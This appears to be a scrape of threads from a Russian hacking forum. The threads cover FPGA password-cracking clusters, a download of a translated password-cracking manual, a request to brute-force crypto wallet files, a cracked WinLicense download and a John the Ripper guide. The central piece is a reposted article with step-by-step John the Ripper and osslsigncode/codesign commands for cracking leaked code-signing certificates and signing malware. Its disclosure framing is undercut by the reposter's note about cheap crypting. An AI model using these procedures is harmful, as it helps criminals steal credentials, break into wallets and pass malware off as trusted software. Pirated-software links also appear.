Одна микросхема может вмещать в себя десятки программных модулей, работающих параллельно над взломом одного и того же пароля. Несколько таких микросхем можно установить на печатную плату. Печатные платы — объединить к серверные корпуса, а корпуса — в стойки (и целые машинные залы).
Таким образом мы получаем так называемый реконфигурируемую вычислительную систему (РВС) — суперкомпьютер, решающий только одну узкоспециализированную задачу (например подбор хеша) — но в миллионы параллельных потоков на высокой скорости.
При необходимости — РВС можно реконфигурировать для решения другой задачи (например перенастроить с алгоритма DES на A5), но это занимает довольно длительное время — секунды, т. к. фактически требуется одновременная «перепрошивка» сотен микросхем в составе компьютера.

Одна из первых таких систем называется COPACOBANA. На фотографиях представлены отдельные вычислительные модули, собираемые при помощи некой «материнской платы» в законченный unit-корпус.
cobana1.jpgphoto_b4.jpgphoto_2.jpg

Это устройство довольно старое, собрано на медленных компонентах (fpga xilinx spartan3) и представляет разве что историческую ценность.
Более новый вычислитель собран уже на Virtex 4.

photo_v1.jpg

Существуют и "гибридные" варианты - например, вычислитель, состоящий из плат Pico SC3 (77 штук микросхем Xilinx Virtex-5 ), SC4 (176шт spartan3), SC5 (72шт Spartan6). Эти платы умещаются в стандартном серверном корпусе размерностью 4U и суммарно потребляют всего 1.4кВт электрической мощности (не сильно больше чем обычный компьютер с быстрым GPU ускорителем типа Теслы).

cluster1.jpg

Используя такое оборудование, были проведены сравнения скорости взлома следующих алгоритмов:

FileVault

Базируется на алгоритме AES и используется для шифрования файловой системе в компьютерах Apple. Восстановление пароля для FileVault требует вычисления хеша от предполагаемого пароля при помощи функции SHA-1, тысячи раз. В данном бенчмарке использовался метод восстановления ключа, называемый PBKDF2. При использовании всего 72шт микросхем из РВС, достигнуто уменьшение времени расшифровки ключа доступа к файловой системе более чем в 498 раз по сравнению с процессором Intel Core i7 с частотой 2,93ГГц. Как результат — уменьшение времени взлома с 21 часа до 2.5 минут.

vault.jpg

Wifi — WPA2
Так же использует SHA-1 для создания хешей. Соответственно, результат по производительности — аналогичен предыдущему — 498 раз.
Ну а результаты для более старого алгоритма WEP Вы можете увидеть на изображении:

wep.jpg

Кластеры на FPGA могут быть использованы для взлома множества стойких алгоритмов.

Как пример — на системе всего из 176 ПЛИС, с суммарным потреблением в 1.5кВт - достигается скорость перебора в 280 биллионов ключей DES за секунду, тогда как на довольно современный GPU Nvidia Tesla «выдает» всего лишь 16 миллионов ключей в секунду.
Таким образом, по сравнению с аналогичным по габаритам и потребляемой мощности компьютером — мы получаем колоссальное увеличение скорости.
Тот пароль, взлом которого на видеокарте потребует несколько лет — при помощи ПЛИС вычислителя размером с обычный 4U сервер, займет всего 2...3 дня.

Причем, при сборке РВС-вычислителей в кластеры — скорость растет почти линейно, т. к. существует возможность использования таких скоростных шин обмена данными как Infiniband, PciExpress, RocketIO и других. Тут уместно напомнить, что "нет пределов совершенству" - и на базе РВС может быть построен не только машинный зал, но и целый датацентр...

Отдельную нишу РВС занимают в атаках типа MiTM — когда длина ключа относительно небольшая (64...128бит), но взломать его нужно быстро — за время пока не истек таймаут аутентификации. Так, абсолютно все комплексы перехвата мобильной связи — используют дешифраторы, построенные на ПЛИС — по причине известного, стабильного и прогнозируемого времени взлома ключа сессии. Ведь, реконфигурируемый вычислитель - это не обязательно датацентр и мегаватты мощности, а иногда и маленькая плата размером не больше ладони, питающаяся от lipo аккумулятора...

Как пример производительности - российская вычислительная система Орфей, созданная в 2011 году - состоит из 850шт fpga, занимает одну серверную стойку и потребляет 50квт мощности (плис старые...). 50 квт кажется много, но... по производительности эта стойка равна суперкомпьютеру "Ломоносов", установленному в МГУ - машзал на 250кв м площади с потреблением примерно 3мегаВатт !
И это разработка 2011 года, сделанная на чипах 2006 года!

По некоторым причинам, в данном обзоре я показал сравнение с вычислителем, построенном на медленных FPGA более чем 10и летней давности… И оставил за кадром некоторые современные, более чем интересные - разработки российского оборонно-промышленного комплекса, в частности ФГУП "Квант" (их учредитель кстати ФСБ). Кому будет сильно интересно и нужно - гугл в помощь, я - не хочу заниматься "сбором, анализом и систематизированием информации, составляющей гостайну" :) А если таки решите собрать информацию - поверьте, это не сложно и более чем интересно.

Оставлю читателю простор для фантазии — попробуйте самостоятельно оценить, за какое время можно взломать Ваш «стойкий» 20и значный пароль для контейнера TrueCrypt, используя РВС, построенную например с использованием скажем 1000шт Xilinx UltraScale ? А ведь это всего лишь одна серверная стойка, которая - возможно, прямо сейчас занимает почетное место на кухне рядом с холодильником какого-нибудь old-school ~~хакера~~ специалиста и питается от вполне бытовой 3ф сети для электроплит...
stoika.png

Джошуа Пикколет Hash Crack: Password Cracking Manual v3 на русском языке [2023].
ID: 676536fbb4103b69df37374f
Thread ID: 82201
Created: 2023-02-17T17:31:28+0000
Last Post: 2024-08-04T08:39:32+0000
Author: handersen
Prefix: Мануал/Книга
Replies: 18 Views: 6K

Перевод 3 издания книги Джошуа Пикколета, Hash Crack: Password Cracking Manual.

Специально для XSS.IS.
Сайт оригинальной книги.
Благодарю пользователя Eject за исходник для перевода, иначе я бы просто не узнал об этой книге.

Скачать
Пароль к архиву: Ut7e%.
Точка это часть пароля, пробелов в нем нет!

По ссылке скачается grindcore-concepts.7z
sha-256 26e1379d34f8b88be9fb18d0805b97a85f6ed49e8a615090bb29cc1af728e079
Содержимое архива: hash_crack_2023_ru.pdf
sha-256 230efe31bf0efb2bc02f22368cbceef54ba576bbe9a7fc47d1b56ec4ea32ae55

Скачать без пароля с DamageLiB: http://damaga377vyvydeqeuigxvl6g5sbmipoxb5nne6gpj3sisbnslbhvrqd.onion/b/3JK94aw6UagcM3EH3vnudg

Автор перевода handersen.

Нашли опечатки, неточности в переводе или другие недоработки? Пишите в комментариях.

Spoiler: Оглавление

ВВЕДЕНИЕ..................................................................................................................7
НЕОБХОДИМОЕ ПРОГРАММНОЕ ОБЕСПЕЧЕНИЕ...............................................8
ОСНОВНЫЕ ТЕРМИНЫ И ПОНЯТИЯ......................................................................9
МЕТОДИКА ВЗЛОМА...............................................................................................10
СТАНДАРТНЫЕ ТАКТИКИ ВЗЛОМА ..................................................................... 11
ШПАРГАЛКИ.............................................................................................................13
ШПАРГАЛКИ ПО JOHN THE RIPPER ............................................................................... 14
ШПАРГАЛКИ ПО HASHCAT .............................................................................................. 16
ШПАРГАЛКА ПО ТЕРМИНАЛУ ......................................................................................... 22
ШПАРГАЛКА ПО МАНИПУЛЯЦИЯМ С ФАЙЛАМИ.........................................................22
ИЗВЛЕЧЕНИЕ ХЕШЕЙ.............................................................................................25
ХЕШИ ЛОКАЛЬНЫХ ПАРОЛЕЙ WINDOWS.....................................................................26
ХЕШИ ПАРОЛЕЙ ДОМЕНА WINDOWS ............................................................................ 30
*NIX.......................................................................................................................................36
ХЕШИ ЛОКАЛЬНЫХ ПАРОЛЕЙ MacOS / OSX................................................................37
LDAP ХЕШИ FREEIPA........................................................................................................38
PCAP & БЕСПРОВОДНАЯ СВЯЗЬ...................................................................................39
СЕТЕВЫЕ ХЕШИ ................................................................................................................ 40
ПОЛНОДИСКОВОЕ ШИФРОВАНИЕ ................................................................................ 44
ВИРТУАЛЬНЫЕ МАШИНЫ ............................................................................................... 47
DEVOPS .............................................................................................................................. 48
ОБЛАЧНЫЕ СЕРВИСЫ ..................................................................................................... 51
УГОН NetNTLMv1/v2 ХЕШЕЙ.............................................................................................52
ИЗВЛЕЧЕНИЕ ХЕШЕЙ ИЗ СУБД ...................................................................................... 57
ИЗВЛЕЧЕНИЕ РАЗЛИЧНЫХ ХЕШЕЙ...............................................................................57
ЗАБЛОКИРОВАННАЯ WINDOWS МАШИНА...................................................................58
АНАЛИЗ ПАРОЛЕЙ..................................................................................................59
ИСТОРИЧЕСКИ СЛОЖИВШИЕСЯ РЕКОМЕНДАЦИИ ПО АНАЛИЗУ ПАРОЛЕЙ ........ 60
ПРАВИЛО 20 – 60 – 20 ....................................................................................................... 60
ПРИМЕРЫ ХЕШЕЙ И ПАРОЛЕЙ.......................................................................................61
ПОДСКАЗКИ ПО ВЗЛОМУ КАЖДОГО ПАРОЛЯ.............................................................61
АНАЛИЗ СТРУКТУРЫ ПАРОЛЕЙ ..................................................................................... 62
АНАЛИЗ ПАРОЛЕЙ ЗАПАДНЫХ СТРАН.........................................................................62
АНАЛИЗ ПАРОЛЕЙ ВОСТОЧНЫХ СТРАН......................................................................63
АНАЛИЗ МЕНЕДЖЕРОВ ПАРОЛЕЙ.................................................................................64
PACK (Password Analysis And Cracking Kit)..................................................................65
ZXCVBN (ЛЕГКАЯ ОЦЕНКА СТОЙКОСТИ ПАРОЛЯ)......................................................65
PIPAL (АНАЛИЗАТОР ПАРОЛЕЙ) .................................................................................... 65
PASSPAT (ИДЕНТИФИКАТОР ШАБЛОНА ПАРОЛЯ) .................................................... 65
ЧАСТОТНЫЙ АНАЛИЗ СИМВОЛОВ................................................................................66
АНАЛИЗ ЗАКОДИРОВАННЫХ СТРОК.............................................................................66
ОНЛАЙН РЕСУРСЫ ПО АНАЛИЗУ ПАРОЛЕЙ................................................................66
ДОПОЛНИТЕЛЬНЫЕ РЕСУРСЫ ПО АНАЛИЗУ ПАРОЛЕЙ...........................................67
СЛОВАРИ / СПИСКИ СЛОВ....................................................................................68
РЕСУРСЫ ДЛЯ СКАЧИВАНИЯ.........................................................................................69
ФОРМИРОВАНИЕ СПИСКОВ СЛОВ................................................................................69
УТИЛИТЫ HASHCAT..........................................................................................................70
ТЕМАТИЧЕСКИЕ СПИСКИ СЛОВ.....................................................................................72
ГЕНЕРАЦИЯ ХЕШЕЙ ПАРОЛЕЙ.......................................................................................72
LYRICPASS (Генератор паролей из текстов песен).....................................................72
ПРЕОБРАЗОВАНИЕ КОДИРОВКИ СПИСКА СЛОВ ....................................................... 73
ПРИМЕР СОЗДАНИЯ ОРИГИНАЛЬНОГО СЛОВАРЯ .................................................... 73
ПРАВИЛА И МАСКИ.................................................................................................74
НАЗНАЧЕНИЕ ПРАВИЛ.....................................................................................................75
ПРАВИЛА ДЛЯ ОТБРАСЫВАНИЯ СЛОВ ИЗ СПИСКОВ В ВИДЕ ОТКРЫТОГО
ТЕКСТА ................................................................................................................................ 76
ВСТРОЕННЫЕ СПЕЦИФИЧЕСКИЕ ФУНКЦИИ ............................................................... 77
СОСТАВЛЕНИЕ ПРАВИЛ АТАКИ.....................................................................................78
ОТПРАВКА РЕЗУЛЬТАТОВ ПРИМЕНЕНИЯ ПРАВИЛА В STDOUT / ВИЗУАЛЬНАЯ
ПРОВЕРКА...........................................................................................................................78
PACK (Password Analysis And Cracking Kit). СОЗДАНИЕ ПРАВИЛ...........................79
ВСТРОЕННЫЕ ПРАВИЛА HASHCAT...............................................................................80
ВСТРОЕННЫЕ ПРАВИЛА JOHN ...................................................................................... 80
ПРИМЕРЫ ПРОИЗВОЛЬНЫХ ПРАВИЛ...........................................................................81
СОЗДАНИЕ АТАКИ ПО МАСКЕ.........................................................................................81
ОТЛАДКА / ПРОВЕРКА, РЕЗУЛЬТАТА ПРИМЕНЕНИЯ МАСКИ ................................... 81
СОЗДАНИЕ АТАКИ ПО МАСКЕ В HASHCAT...................................................................81
ПОЛЬЗОВАТЕЛЬСКИЕ НАБОРЫ СИМВОЛОВ В HASHCAT........................................82
СОЗДАНИЕ АТАКИ ПО МАСКЕ В JOHN THE RIPPER....................................................82
ПОЛЬЗОВАТЕЛЬСКИЕ НАБОРЫ СИМВОЛОВ В JOHN................................................82
ШПАРГАЛКА ПО МАСКАМ HASHCAT ............................................................................. 83
ШПАРГАЛКА ПО МАСКАМ JOHN.....................................................................................83
ФАЙЛЫ МАСОК..................................................................................................................83
ТОП МАСОК ЗАПАДНЫХ СТРАН.....................................................................................84
ТОП МАСОК ВОСТОЧНЫХ СТРАН .................................................................................. 84
PACK (Password Analysis And Cracking Kit). СОЗДАНИЕ МАСОК ............................. 84
ПРИМЕРЫ ПРОИЗВОЛЬНЫХ МАСОК.............................................................................86
ИНОСТРАННЫЕ НАБОРЫ СИМВОЛОВ...............................................................87
UTF8 ПОПУЛЯРНЫХ ЯЗЫКОВ ......................................................................................... 88
ВСТРОЕННЫЕ НАБОРЫ СИМВОЛОВ HASHCAT..........................................................88
ВСТРОЕННЫЕ НАБОРЫ СИМВОЛОВ И UTF8 В JOHN................................................89
НАБОР СИМВОЛОВ BYTE "?b" В HASHCAT ................................................................. 89
ПРЕОБРАЗОВАНИЕ КОДИРОВКИ...................................................................................90
ПРОДВИНУТЫЕ АТАКИ .......................................................................................... 91
АТАКА PRINCE....................................................................................................................92
HASHCAT BRAIN.................................................................................................................93
МАСКОПРОЦЕССОР..........................................................................................................93
ПОЛЬЗОВАТЕЛЬСКАЯ АТАКА МАРКОВА / СТАТПРОЦЕССОР..................................94
ПРОЦЕССОР KEYBOARD WALK......................................................................................95
MXFIND / MDSPLIT..............................................................................................................96
ПЕРЕТАСОВКА...................................................................................................................99
ЭКСТРЕМУМЫ ХЕШЕЙ......................................................................................................99
РАСПРЕДЕЛЕННЫЙ ВЗЛОМ / РАСПАРАЛЛЕЛИВАНИЕ............................................100
ДРУГИЕ НАРАБОТКИ ПО ПРОДВИНУТЫМ АТАКАМ..................................................100
СОФТ ДЛЯ РАСПРЕДЕЛЕННОГО ВЗЛОМА..................................................................101
ОНЛАЙН РЕСУРСЫ ПО ВЗЛОМУ ХЕШЕЙ .................................................................... 101
КОНЦЕПЦИИ ВЗЛОМА..........................................................................................103
ЭНТРОПИЯ ПАРОЛЯ – ПРОТИВ ВРЕМЕНИ ВЗЛОМА.................................................104
ЧТО ТАКОЕ КРИПТОГРАФИЧЕСКИЙ ХЕШ...................................................................105
ЦЕПОЧКИ МАРКОВА........................................................................................................105
ВЕРОЯТНОСТНАЯ ГРАММАТИКА СВОБОДНАЯ ОТ КОНТЕКСТА (PCFG) .............. 106
НЕЙРОННЫЕ СЕТИ..........................................................................................................106
ПРИМЕРЫ РАСПРОСТРАНЕННЫХ ХЕШЕЙ И АТАК НА НИХ ......................... 108
ПРИЛОЖЕНИЕ........................................................................................................126
ТЕРМИНЫ..........................................................................................................................127
ВРЕМЕННАЯ ТАБЛИЦА...................................................................................................128
ОНЛАЙН РЕСУРСЫ..........................................................................................................128
10 ЗАПОВЕДЕЙ КРЭКЕРА...............................................................................................129
СРАВНИТЕЛЬНОЕ ТЕСТИРОВАНИЕ ВЗЛОМА ХЕШЕЙ ............................................. 130
СКОРОСТЬ ВЗЛОМА (ОТ МЕДЛЕННОЙ К БЫСТРОЙ)................................................136
ИСТОРИЧЕСКИЕ ДАННЫЕ ТЕСТОВ ПО ВЗЛОМУ ХЕШЕЙ НА GPU ......................... 139

Брутфорс wallet.dat
ID: 676536fbb4103b69df37386e
Thread ID: 48794
Created: 2021-03-01T14:41:01+0000
Last Post: 2021-05-01T20:13:34+0000
Author: TroLL
Replies: 27 Views: 6K

Кто может подсказать по бруту файлов кошельков? Какими тулзами это делать, какие мощности арендовать под это дело и тд.? С брутом никогда не работал раньше.

WinLicense - 2.3.9.0, да та самая версия которую так все любят, x32 и x64 в архиве.
ID: 676536fbb4103b69df373887
Thread ID: 32446
Created: 2019-10-12T12:56:39+0000
Last Post: 2021-01-03T17:50:47+0000
Author: ViCode
Replies: 19 Views: 6K

Скачать: https://mega.nz/#!KT43VaJK!wvDdcMuBFIjhacv0N9uJU6z1czM8hK7r4qx9p-esQSE
Пароль:

You must have at least 10 reaction(s) to view the content.

2.PNG
Снимок.PNG

Вопрос по хешу! Ребят помогите плиз
ID: 676536fbb4103b69df37390e
Thread ID: 16625
Created: 2009-01-10T21:27:08+0000
Last Post: 2009-01-16T18:50:35+0000
Author: Tymblep
Replies: 13 Views: 6K

пароль trial190ex
его шифруют ключом
и получается wqfKmdGbcYfT3A==

надо помочь найти алгоритм или сам ключ))) I need MEGA help!

ЗЫ Волк я знаю что тебе про#пал все мозги с этой фишкой))))) Господа кто чем то может помочь пишите, так же если будет найдет алгоритм расшифровки и будет проведен тест на других хешах будет вознаграждение)

[Picolet J.] Hash Crack Password Cracking Manual (v3) [2019]
ID: 676536fbb4103b69df3737c7
Thread ID: 43694
Created: 2020-10-29T16:03:50+0000
Last Post: 2023-02-19T15:09:10+0000
Author: Eject
Prefix: Мануал/Книга
Replies: 7 Views: 5K

1603987155400.png

Описание:

The Hash Crack: Password Cracking Manual v3 is an expanded reference guide for password recovery (cracking) methods, tools, and analysis techniques. A compilation of basic and advanced techniques to assist penetration testers and network security professionals evaluate their organization's posture. The Hash Crack manual contains syntax and examples for the most popular cracking and analysis tools and will save you hours of research looking up tool usage. It also includes basic cracking knowledge and methodologies every security professional should know when dealing with password attack capabilities. Hash Crack contains all the tables, commands, online resources, and more to complete your cracking security kit. This version expands on techniques to extract hashes from a myriad of operating systems, devices, data, files, and images. Lastly, it contains updated tool usage and syntax for the most popular cracking tools.​

Формат : PDF
Год : 2019
ISBN : 978-1793458612

Скачать

Находим и используем утекшие на VirusTotal сертификаты для подписи кода
ID: 676536fbb4103b69df37376d
Thread ID: 90020
Created: 2023-06-08T16:56:26+0000
Last Post: 2023-11-20T17:40:16+0000
Author: bratva
Prefix: Статья
Replies: 28 Views: 5K

[TL;DR] Мы всегда можем найти сертификаты для подписи кода, используя такие инструменты как VirusTotal. Если сертификаты имеют пароль, его можно легко взломать и использовать после для подписи вредоносного кода. В рамках ответственного раскрытия информации, я объясняю весь процесс по шагам.

Статья состоит из 4 глав: поиск утекших сертификатов, взлом их паролей, использование их для подписи вредоносного ПО и слив утекших сертификатов в ответственные центры сертификации.

1. Поиск сертификатов.​

Существует множество различных способов найти сертификаты для подписи кода в Интернете. Если вам повезет, то вы можете найти тот, который все еще актуален. В своей статье я главным образом использовал VirusTotal , но на такие платформы как Grayhat Warfare и GitHub также загружено множество сертификатов.

С помощью приведенного ниже запроса вы сможете найти файлы с последовательностью байтов, обычно наблюдаемой в сертификатах для подписи кода. Эта последовательность является частью файлов в кодировке ASN.1 DER (RFC7292). В качестве значения смещения (offset) 4 должен присутствовать номер версии, который всегда имеет значение 3. Это обозначается записью 02 01 03. Четвертый байт в последовательности равен 30, что представляет собой начало новой последовательности.

content:{02 01 03 30}@4 NOT tag:msi AND NOT tag:peexe

Результаты можно загрузить через графический интерфейс или API VirusTotal :

search-results-virustotal.png

Итого, я скачал около 50 сертификатов, которые недавно были загружены на VirusTotal.

2. Взлом паролей PKCS#12​

Моя любимая программа для взлома хэшей — Hashcat. К сожалению, он не поддерживает взлом файлов PKCS#12. В то время как John the Ripper поддерживает PKCS#12. Сначала нам нужно извлечь хэш из нашего файла PKCS#12. Это можно сделать с помощью Python-скрипта John The Ripper pfx2john.py. Я внес несколько изменений в скрипт, чтобы сделать его совместимым с Python 3.

pfx2john.py certificate.pfx > certificate.hash

Если вы сгенерировали хэши на основе найденных вами сертификатов, вы можете взломать их с помощью John The Ripper с приведенными ниже аргументами. В данном примере мы используем rockyou.txt в качестве вордлиста.

Code:Copy to clipboard

$ john --wordlist=rockyou.txt --format=pfx-opencl ./hashes/*

Using default input encoding: UTF-8
Loaded 13 password hashes with 13 different salts (pfx, (.pfx, .p12) [PKCS#12 PBE (SHA1/SHA2)])
-- snip --
123              (7f61a5a51fe9eef15c9e2ddf03fe10c6.pfx)
123              (66a9882f1d8463501f7fc89b1a12700b.pfx)
                 (83bfdbd568b967baf24b7c44935b9a12.pfx)
test             (certificate.pfx)
-- snip --
Session completed.

⚠️ Если John The Ripper не может загрузить ваш хэш, обязательно установите последнюю версию John The Ripper из исходного кода (чтобы обеспечить поддержку PKCS#12).

Click to expand...

Как можно заметить, некоторые хэши были успешно взломаны. Пароль для последнего — test. Проверьте, являются ли взломанные сертификаты доверенными и действительными (например, не были ли они отозваны CA). Для доверенных и действительных убедитесь, что у них есть идентификатор объекта подписи кода (OID): 1.3.6.1.5.5.7.3.3. Будем надеяться, что в результате у вас остался как минимум один сертификат. Теперь вы можете использовать его для подписи своего вредоносного кода!

extended-key-usage-code-signing2.png
PS: если вы хотите использовать более обширный лист паролей с John the Ripper , поищите его на сайте Weakpass. Также рекомендую использовать маски паролей. Я добавил два соответствующих примера ниже, чтобы вам было с чего начать.

Code:Copy to clipboard

# With rules
./john --wordlist=rockyou.txt --format=pfx-opencl ./hashes/* --rules:OneRuleToRuleThemAll

# With mask
./john --mask=?1?1?1?1?1?1?1?1?1 -1=[A-z0-9\!\@] --format=pfx-opencl ./hashes/* -min-len=1

3. Подписываем код вредоносных программ​

Если вы по итогу нашли и взломали пароль для действующего и надежного сертификата, вы можете использовать его теперь для подписи вредоносных программ. Я продемонстрирую ниже пример подписи сертификатом вредоносного ПО как для Windows , так и для MacOS.

Windows

Для подписи PE-файлов существует замечательный проект с открытым исходным кодом под названием osslsigncode. После установки выполните следующую команду, чтобы создать подписанную версию вашей вредоносной программы.

Code:Copy to clipboard

osslsigncode sign -pkcs12 certificate.pfx -pass test -in malware.exe -out signed-malware.exe
Succeeded

Чтобы убедиться, что подпись действительна и правильно применена, вы также можете использовать osslsigncode.

Code:Copy to clipboard

osslsigncode verify signed-autoruns.exe

-- snip --
Authenticated attributes:
    Message digest algorithm: SHA256
    Message digest: C89F86DBE18BB37C44857F3535E5984DCA783610BDFEBF18F659F5275D8D5236
    Signing time: Jun  7 18:49:06 2023 GMT
    Microsoft Individual Code Signing purpose

-- snip --
Signature verification: ok

Number of verified signatures: 1
Succeeded

⚠️ Обратите внимание, что согласено моему опыту osslsigncode не проверяет , был ли отозван сертификат.

Click to expand...

signed-malware3.png

И наконец: наслаждайтесь своим свежеподписанным вредоносным ПО!

MacOS

Если вы подписываете существующее (модифицированное) приложение для MacOS, сначала удалите существующую подпись.

Code:Copy to clipboard

codesign --remove-signature malicious.app

После этого импортируйте сертификат подписи в свою связку ключей. Щелкните по ней правой кнопкой мыши и создайте новое удостоверение подписи. Используйте имя по вашему выбору.

sign-create-identity4.png

Теперь вы можете использовать это удостоверение для подписи вашего вредоносного приложения.

Code:Copy to clipboard

codesign -s "your_identity" malicious.app

Чтобы проверить, все ли заработало, проверяем подпись. Если все в порядке, команда ничего не выведет.

Code:Copy to clipboard

codesign --verify malicious.app

Если что-то пошло не так, будет показана ошибка. Вот как выглядит вывод, когда ваш сертификат был отозван:

Code:Copy to clipboard

codesign --verify malicious.app

malicious.app: CSSMERR_TP_CERT_REVOKED
In architecture: x86_64

4. Слив утекших сертификатов​

В приведенном примере выше утечкший сертификат была выпущен компанией Sectigo. Sectigo (как и любой другой центр сертификации) предоставляет способы сообщить о нарушениях, включая мошенническое или злонамеренное использование сертификатов. Я отправил Sectigo отчет по почте со следующей информацией о найденном сертификате:

  • Ссылка на VirusTotal (включая ссылку на вредоносное ПО, подписанное сертификатом).
  • Пароль.
  • Серийный номер.
  • Хэш SHA-256.
  • Хэш SHA-1.

8 дней спустя Sectigo ответили, что в ходе дальнейшего расследования они обнаружили, что сертификат подписи действительно был причастен к злонамеренной деятельности и теперь отозван.

[Источник](https://tij.me/blog/finding-and-utilising-leaked-code-signing- certificates/)

P. S.: По мотиву вопросов гаврошей в личку - где найти самый дешевый крипт или "у меня нет денег на EV серт".

Полное руководство по John the Ripper
ID: 676536fbb4103b69df373853
Thread ID: 41838
Created: 2020-09-07T11:23:49+0000
Last Post: 2021-08-25T17:58:01+0000
Author: tabac
Prefix: Статья
Replies: 5 Views: 5K

Что такое John the Ripper

John the Ripper — это популярный взломщик паролей, который умеет выполнять брут-форс как с использованием центрального процессора, так и видео карты, поддерживающий множество алгоритмов. Если быть более точным — это офлайн взломщик (онлайн взломщики брут-форсят службы подключаясь к ним, а офлайн взломщики работают с захваченными хешами (файлами) к которым подбирают пароль).

Даже если вы уже знакомы с Hashcat (а тем более, если НЕ знакомы с Hashcat), вам нужно изучить принципы работы John the Ripper, поскольку они отличаются.

Чем различаются John the Ripper и Hashcat

1. Hashcat для брут-форса может использовать видеокарту, центральный процессор (ЦП) или всё вместе.
John the Ripper может использовать что-то одно: или видеокарту, или видео ядро ЦП, или только ЦП.

2. Hashcat может использовать видеокарту для взлома любых поддерживаемых алгоритмов.
John the Ripper для взлома на видеокарте поддерживает только некоторые виды алгоритмов.

3. Если у вас несколько видеокарт, Hashcat «из коробки» поддерживает работу сразу с несколькими устройствами и по умолчанию разбивает задачу на нужное количество потоков и размер каждой этой задачи привязан к мощности видеокарты.
John the Ripper может работать с несколькими видеокартами, но по умолчанию разбивка задачи на несколько видеокарт поддерживается только для одного алгоритма.

4. Для Hashcat не имеет значение, как вы её установили: собрали из исходного кода или скачали бинарный файл.
Для John the Ripper очень важно самому собрать бинарный файл, поскольку в этом случае учитывается специфика вашей системы. В результате при компиляции будут указаны поддерживаемые процессором наборы команд, например, AVX2 вместо дефолтного AVX, что в конечном счёте очень значительно скажется на производительности — для некоторых алгоритмов благодаря этому достигается ускорение взлома в 2 раза! Либо напротив, скомпилированные на более новом железе исполнимые файлы John могут не работать на некоторых компьютерах

5. Для Hashcat обязательно нужно указать тип хеша.
John the Ripper определяет хеш самостоятельно, либо можно явно указать формат хеша.

6. Синтаксис команд и опций сильно различается.

7. О взломе пароля в John the Ripper на видеокарте нужно знать, что брут-форс на графической карте требует много времени для запуска — это заметно даже для бенчмарка. Поэтому если вам нужно выполнить множество коротких сессий, то иногда рациональнее использовать центральный процессор, взлом на котором запускается немедленно.

Установка драйверов видеокарт для John the Ripper

Если вы хотите использовать GPU для взлома паролей (а это в десятки раз быстрее, чем на центральном процессоре), то нужно установить видео драйвера.

Для взлома могут использоваться:

  • центральный процессор
  • видео ядро центрального процессора
  • видео карта

Нужно выбрать что-то одно из этого — самым быстрым вариантом является видео карта.
Конечно, конкретные конфигурации компьютеров могут различаться: у кого-то нет дискретной видеокарты, у кого-то нет видео ядра у ЦП — надеюсь, вы в состоянии это проверить самостоятельно.

Установка видео драйверов в Windows

В этой ОС всё просто — скорее всего, видео драйверы для вашей графической карты уже установлены. Если нет — перейдите на сайт производителя, скачайте и установите драйвер.

Если вдруг вы хотите использовать видео ядро центрального процессора (это бессмысленно, если у вас есть хоть какая-то дискретная видео карта, тем не менее — возможно, у вас просто нет выделенной графической карты), то вам нужно установить "OpenCL Runtime for Intel Core and Intel Xeon Processors". Если вам это действительно надо, что нужные ссылки вы найдёте в этой статье по Hashcat, которая также исполььзует этот драйвер.

Установка видео драйверов в Linux

В Kali Linux

Предварительное полное обновление системы и перезагрузка:

Code:Copy to clipboard

sudo apt update && sudo apt full-upgrade -y
reboot

Установка видео драйверов для NVIDIA в Linux

Code:Copy to clipboard

sudo apt install -y ocl-icd-libopencl1 nvidia-driver nvidia-cuda-toolkit

Включение OpenCL для Intel
Если ваш центральный процессор поддерживает OpenCL, то установите следующие пакеты:

Code:Copy to clipboard

sudo apt install firmware-misc-nonfree intel-opencl-icd

В Arch Linux, BlackArch

Включение OpenCL для NVIDIA

Удалите xf86-video-nouveau есть он есть:

Code:Copy to clipboard

sudo pacman -R xf86-video-nouveau

Установите проприетарный драйвер NVIDIA, CUDA и другие необходимые пакеты:

Code:Copy to clipboard

sudo pacman -S nvidia nvidia-utils opencl-nvidia opencl-headers cuda

Включение OpenCL для Intel

Code:Copy to clipboard

sudo pacman -S linux-firmware intel-compute-runtime pocl

Установка John the Ripper в Linux из исходного кода

Как уже было сказано, важно самому собрать John the Ripper чтобы он использовал все возможности вашего процессора. Ещё один плюс такого подхода — мы получим самую свежую версию John the Ripper.

Установка необходимых зависимостей в Kali Linux :

Code:Copy to clipboard

sudo apt install build-essential libssl-dev yasm libgmp-dev libpcap-dev libnss3-dev libkrb5-dev pkg-config

Установка необходимых зависимостей в Arch Linux, BlackArch :

Code:Copy to clipboard

sudo pacman -S openssl yasm gmp libpcap nss krb5 pkg-config

Далее одинаково в любом дистрибутиве:

Code:Copy to clipboard

wget https://github.com/openwall/john/archive/bleeding-jumbo.zip
unzip bleeding-jumbo.zip
rm bleeding-jumbo.zip
cd john-bleeding-jumbo/src/
./configure && make

Обратите внимание, в последней команде вы можете использовать опцию -j после которых указать количество (логических) ядер вашего процессора, например, у меня 12 логических ядер, тогда я использую:

Code:Copy to clipboard

./configure && make -j12

Теперь перейдите в папку run :

Code:Copy to clipboard

cd ../run

И запустите тест:

Code:Copy to clipboard

./john --test

Вам необязательно выполнять установку John the Ripper на уровне системы — переместите папку run в удобное вам место и запускайте John оттуда. Кроме исполнимого файла John the Ripper, в папке run собрано много скриптов для извлечения хешей — о них мы поговорим позже.

Помните, что если в терминале набрать

Code:Copy to clipboard

john

то запустится предустановленная в системе версия, а не та, которую вы скомпилировали.

Установка John the Ripper в Debian, Linux Mint, Ubuntu

Установка должна выполняться точно так же, как и в Kali Linux. Поэтому обратитесь к разделу «Установка John the Ripper в Kali Linux». Если у вас что- то не получилось, то напишите здесь в комментариях с указанием вашего дистрибутива и ошибки.

Как установить John the Ripper в Windows

Компиляцию John the Ripper из исходного кода в Windows мы рассмотрим как- нибудь потом. Воспользуемся официальным бинарным файлом.

Сначала установите Cygwin — простой зайдите на официальный сайт https://www.cygwin.com/, скачайте файл setup-x86_64.exe и установите.

Со страницы https://github.com/openwall/john-packages/releases/tag/jumbo-dev скачайте файл winX64_1_JtR.7z.

Распакуйте содержимое этого архива в папку C:\cygwin64\home\ИМЯ- ПОЛЬЗОВАТЕЛЯ , например, у меня пользователь MiAl , поэтому я распаковываю в папку **C:\cygwin64\home\MiAl**.

На самом деле в Windows можно запустить John the Ripper даже без Cygwin, но в этом случае он не сможет использовать OpenCL (видео ядра) для брут-форса.

Теперь в папке *C:\cygwin64\home\ИМЯ-ПОЛЬЗОВАТЕЛЯ\JtR\run* найдите cygOpenCL-1.dll и переименуйте его в cygOpenCL-1.dll.bac.

Затем в папке c:\Windows\System32 найдите файл OpenCL.dll и скопируйте его в папку **C:\cygwin64\home\ИМЯ-ПОЛЬЗОВАТЕЛЯ\JtR\run**.

